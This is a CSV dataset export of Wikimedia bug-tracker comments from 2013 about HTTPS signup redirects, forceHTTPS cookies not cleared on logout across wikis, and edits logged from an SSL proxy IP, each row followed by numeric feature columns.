255619,Redirect to HTTPS for account creation,Confirmed on enwiki. Re-prioritizing.,,,1378745232,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.875,Confirmed on enwiki. Re-prioritizing.
255616,Redirect to HTTPS for account creation,"(In reply to comment #1)
Sorry, I meant:

http://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page&type=signup

and 

https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page&type=signup

(In the original post, the link points to the login page rather than the signup page.)",,,1378244685,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c2,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,15.0,0.0,2.0,10.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.975609756097561,0.6829268292682927,"(In reply to comment #1)
Sorry, I meant:

URL

and 

URL

(In the original post, the link points to the login page rather than the signup page.)"
255610,Redirect to HTTPS for account creation,"Not only for Wiktionary, there are lots of signup pages which should redirect to https. For instance,

http://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page

should redirect to

https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page

But currently it doesn't redirect.",,,1378244463,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c2,3,True,,,0,True,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,11.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,14.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.027777777777778,0.7222222222222222,"Not only for Wiktionary, there are lots of signup pages which should redirect to https. For instance,

URL

should redirect to

URL

But currently it doesn't redirect."
55536,forceHTTPS cookie not deleted in Wikimedia environment,"When a user logs out on a single wiki (not included in a wiki farm) the forceHTTPS cookie is deleted. In the Wikimedia environment, login.wikimedia.org sets top-domain forceHTTPS cookies (.wikipedia.org, .wikiversity.org, etc) which are not deleted when the user logs out and therefore s/he is still redirected to HTTPS as anonymous user; even if s/he logs in again after having unckecked the preference ""Always use a secure connection when logged in"" s/he still is redirected to HTTPS since the global forceHTTPS cookie is still here. So these global forceHTTPS cookies should be deleted when the user logs out. The relevant HTTP headers are:

Login from the specific wiki (here frwiki):
  Set-Cookie: frwikiforceHTTPS=true; expires=Sat, 28-Sep-2013 00:49:37 GMT;
path=/; httponly
Continuation of the login, from login.wikimedia.org:
  Set-Cookie: frwikiforceHTTPS=1; expires=Sat, 28-Sep-2013 00:49:37 GMT;
path=/; domain=.wikipedia.org; httponly

Logout (specific wiki):
  Set-Cookie: frwikiforceHTTPS=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT;
path=/; secure; httponly


I originally reported this bug on bug 53379 but this one was focused on a user interaction issue rather than on a real forceHTTPS cookie issue (it was a single wiki); my first remarks are there. I mistakenly made a diagnosis and proposed a solution, but the real bug is this one.

--------------------------
**Version**: master
**Severity**: major",Unbreak Now!,100.0,1377785220,1378923671.0,PHID-USER-2nopae2cxuamwcbndaih,False,,False,PHID-TASK-jpulwcf2p4qtamabtdak,task_description,resolved,True,c2,3,False,False,True,0,True,0.0,0.0,0.0,2.0,0.6666666666666666,5.666666666666667,0.6666666666666666,0.0,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,7.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,1.0,0.6666666666666666,2.0,0.0,0.0,0.0,0.0,0.0,13.333333333333334,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,6.333333333333333,3.6666666666666665,10.333333333333334,2.0,1.3333333333333333,8.0,0.0,0.0,0.0,0.0,1.0,0.0,2.6666666666666665,0.0,3.3333333333333335,7.0,11.333333333333334,0.0,0.6666666666666666,0.0,3.3333333333333335,0.0,1.6666666666666667,3.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,4.1537710437710444,0.6207744107744108,"When a user logs out on a single wiki (not included in a wiki farm) the forceHTTPS cookie is deleted. In the Wikimedia environment, login.wikimedia.org sets top-domain forceHTTPS cookies (.wikipedia.org, .wikiversity.org, etc) which are not deleted when the user logs out and therefore s/he is still redirected to HTTPS as anonymous user; even if s/he logs in again after having unckecked the preference ""Always use a secure connection when logged in"" s/he still is redirected to HTTPS since the global forceHTTPS cookie is still here. So these global forceHTTPS cookies should be deleted when the user logs out. The relevant HTTP headers are:

Login from the specific wiki (here frwiki):
  Set-Cookie: frwikiforceHTTPS=true; expires=Sat, 28-Sep-2013 00:49:37 GMT;
path=/; httponly
Continuation of the login, from login.wikimedia.org:
  Set-Cookie: frwikiforceHTTPS=1; expires=Sat, 28-Sep-2013 00:49:37 GMT;
path=/; domain=.wikipedia.org; httponly

Logout (specific wiki):
  Set-Cookie: frwikiforceHTTPS=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT;
path=/; secure; httponly


I originally reported this bug on bug 53379 but this one was focused on a user interaction issue rather than on a real forceHTTPS cookie issue (it was a single wiki); my first remarks are there. I mistakenly made a diagnosis and proposed a solution, but the real bug is this one.

--------------------------
**Version**: master
**Severity**: major"
248693,forceHTTPS cookie not deleted in Wikimedia environment,"Deployed, so re-closing",,,1378923671,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"Deployed, so re-closing"
248688,forceHTTPS cookie not deleted in Wikimedia environment,"CA bug fixed with https://gerrit.wikimedia.org/r/#/c/83551/

WMF config that caused us to hit that codepath fixed with https://gerrit.wikimedia.org/r/#/c/83555/",,,1378759103,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,17.0,17.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.7777777777777778,"CA bug fixed with URL

WMF config that caused us to hit that codepath fixed with URL"
248682,forceHTTPS cookie not deleted in Wikimedia environment,"We had a bug in the CentralAuth patch, so I reverted the change, and we'll need to deploy it later this week.",,,1378754463,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,12.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,4.0,4.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,12.0,4.0,0.0,0.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.3846153846153846,0.9230769230769231,"We had a bug in the CentralAuth patch, so I reverted the change, and we'll need to deploy it later this week."
248676,forceHTTPS cookie not deleted in Wikimedia environment,"Sorry for not responding to the backport request sooner. We hope to get this deployed today. The schedule is tight due to it being a short deploy-week here (we have an All Hands on Thurs/Fri, thus making our deploy week only 3 days long instead of the normal 4).",,,1378750574,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,False,,,1,True,2.0,0.0,0.0,0.0,2.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,5.0,2.0,12.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,7.0,10.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6271186440677967,0.8813559322033898,"Sorry for not responding to the backport request sooner. We hope to get this deployed today. The schedule is tight due to it being a short deploy-week here (we have an All Hands on Thurs/Fri, thus making our deploy week only 3 days long instead of the normal 4)."
248669,forceHTTPS cookie not deleted in Wikimedia environment,"Sep 19th is in ten days, and there are users who have trouble editing because of this bug right now. So yes, I'd suggest a quicker deployment.",,,1378746410,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,9.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,3.625,0.9375,"Sep 19th is in ten days, and there are users who have trouble editing because of this bug right now. So yes, I'd suggest a quicker deployment."
248661,forceHTTPS cookie not deleted in Wikimedia environment,"(In reply to comment #8)
> The ""Backport_WMF?"" flag is still unresolved here. Is it going to be
> backported? It should IMO.

If you think we need it sooner than Sept 19th, then yes, we can update CA to master in one go sometime this week.",,,1378746045,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,3.0,5.0,0.0,10.0,15.0,8.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.1794871794871793,0.8717948717948718,"(In reply to comment #8)
QUOTE
QUOTE

If you think we need it sooner than Sept 19th, then yes, we can update CA to master in one go sometime this week."
248653,forceHTTPS cookie not deleted in Wikimedia environment,"The ""Backport_WMF?"" flag is still unresolved here. Is it going to be backported? It should IMO.",,,1378745286,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,9.0,5.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6363636363636362,0.8636363636363636,"The ""Backport_WMF?"" flag is still unresolved here. Is it going to be backported? It should IMO."
248645,forceHTTPS cookie not deleted in Wikimedia environment,"As per https://www.mediawiki.org/wiki/MediaWiki_1.22/Roadmap the fix will be available (""deployed"") on MediaWiki.org on Thursday September 12, on all non-Wikipedia sites on Monday September 16, and on Wikipedias on Thursday September 19.
Please reopen if the problem still exists after these dates. Thanks!",,,1378745216,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,1,True,2.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,25.0,2.0,2.0,8.0,0.0,0.0,2.0,0.0,4.0,2.0,6.0,0.0,0.0,19.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.09433962264151,0.7735849056603774,"As per URL the fix will be available (""deployed"") on MediaWiki.org on Thursday September 12, on all non-Wikipedia sites on Monday September 16, and on Wikipedias on Thursday September 19.
Please reopen if the problem still exists after these dates. Thanks!"
248638,forceHTTPS cookie not deleted in Wikimedia environment,"Change 82634 merged by jenkins-bot:
Delete forceHTTPS cookies on logout

https://gerrit.wikimedia.org/r/82634",,,1378414481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6875,1.0,"Change 82634 merged by jenkins-bot:
Delete forceHTTPS cookies on logout

GERRIT_URL"
248630,forceHTTPS cookie not deleted in Wikimedia environment,"Change 82634 had a related patch set uploaded by Anomie:
Delete forceHTTPS cookies on logout

https://gerrit.wikimedia.org/r/82634",,,1378312911,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7894736842105265,1.0,"Change 82634 had a related patch set uploaded by Anomie:
Delete forceHTTPS cookies on logout

GERRIT_URL"
248622,forceHTTPS cookie not deleted in Wikimedia environment,"(In reply to comment #2)
> This is a bug in Extension:CentralAuth. It fails to clear the cookie when
> CentralAuthUser::deleteGlobalCookies() is called.

It's more than that. CentralAuth doesn't actually need to call deleteGlobalCookies() on logout to make the user be logged out everywhere because changing the saved login token means the centralauth_Token cookies are no longer valid. So the calling of deleteGlobalCookies() on all wikis on logout was removed during the course of the SUL2 work. That needs to be re-added in order to clear this forceHTTPS cookie on all wikis.

We're also going to have to take care of the forceHTTPS cookie set by core: Say you log in on dewiki, you actually get *two* forceHTTPS cookies, one for de.wikipedia.org set by core and one for .wikipedia.org set by CentralAuth. If you log out on dewiki everything works fine, but if you log out on any other site then that de.wikipedia.org forceHTTPS cookie isn't (and can't easily be) deleted.",,,1378312898,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,1,True,1.5,0.5,0.0,1.5,1.5,2.5,0.0,0.5,0.0,1.0,1.5,2.0,0.0,0.0,0.0,0.5,0.0,6.5,18.5,0.5,3.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.5,0.5,2.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.5,1.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,3.5,3.0,6.5,2.0,1.5,6.5,0.0,0.0,0.0,0.5,7.0,0.0,4.5,0.0,3.5,18.5,5.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,4.061414708886619,0.7003319713993872,"(In reply to comment #2)
QUOTE
QUOTE

It's more than that. CentralAuth doesn't actually need to call deleteGlobalCookies() on logout to make the user be logged out everywhere because changing the saved login token means the centralauth_Token cookies are no longer valid. So the calling of deleteGlobalCookies() on all wikis on logout was removed during the course of the SUL2 work. That needs to be re-added in order to clear this forceHTTPS cookie on all wikis.

We're also going to have to take care of the forceHTTPS cookie set by core: Say you log in on dewiki, you actually get *two* forceHTTPS cookies, one for de.wikipedia.org set by core and one for .wikipedia.org set by CentralAuth. If you log out on dewiki everything works fine, but if you log out on any other site then that de.wikipedia.org forceHTTPS cookie isn't (and can't easily be) deleted."
248615,forceHTTPS cookie not deleted in Wikimedia environment,"@Bartosz: yes, major.

I added a temporary work-around in [[meta:HTTPS]] instructing the users to remove the cookies forceHTTPS, although the cookies are quite hidden in most browsers and difficult to find for the users.",,,1378115717,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,6.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,6.0,3.9791666666666665,0.75,"SCREEN_NAME: yes, major.

I added a temporary work-around in [[meta:HTTPS]] instructing the users to remove the cookies forceHTTPS, although the cookies are quite hidden in most browsers and difficult to find for the users."
248609,forceHTTPS cookie not deleted in Wikimedia environment,This is a bug in Extension:CentralAuth. It fails to clear the cookie when CentralAuthUser::deleteGlobalCookies() is called.,,,1378053004,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,9.0,23.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.909090909090909,0.9090909090909091,This is a bug in Extension:CentralAuth. It fails to clear the cookie when CentralAuthUser::deleteGlobalCookies() is called.
248606,forceHTTPS cookie not deleted in Wikimedia environment,"I'm pretty sure this is at least major, not ""normal"". Is somebody working on this?",,,1378026476,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,0,True,0.0,5.0,0.0,0.0,5.0,19.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,3.238095238095238,0.9047619047619048,"I'm pretty sure this is at least major, not ""normal"". Is somebody working on this?"
54497,"Edits from WMF IP, apparently SSL reverse proxy","https://en.wikipedia.org/wiki/Special:Contributions/208.80.154.51 shows edits from a WMF IP, which reverse DNS says is ssl1007.wikimedia.org

--------------------------
**Version**: unspecified
**Severity**: major",Unbreak Now!,100.0,1375507380,1375541159.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-b5qusmobeswj2uc3dyhy,task_description,resolved,True,c2,2,False,False,True,-4,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.28125,0.71875,"URL shows edits from a WMF IP, which reverse DNS says is ssl1007.wikimedia.org

--------------------------
**Version**: unspecified
**Severity**: major"
237481,"Edits from WMF IP, apparently SSL reverse proxy","Fixed, can be repooled whenever",,,1375541159,,PHID-USER-6vzzsmi22zem6yttr6vp,True,,,PHID-TASK-b5qusmobeswj2uc3dyhy,task_subcomment,,True,c2,2,True,,,-4,True,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Fixed, can be repooled whenever"
237469,"Edits from WMF IP, apparently SSL reverse proxy",Depooled. I'll add them to MW config tomorrow.,,,1375516824,,PHID-USER-xs3vxsmgivmm2tuyxsrb,True,,,PHID-TASK-b5qusmobeswj2uc3dyhy,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,9.0,9.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.5454545454545454,0.9090909090909091,Depooled. I'll add them to MW config tomorrow.
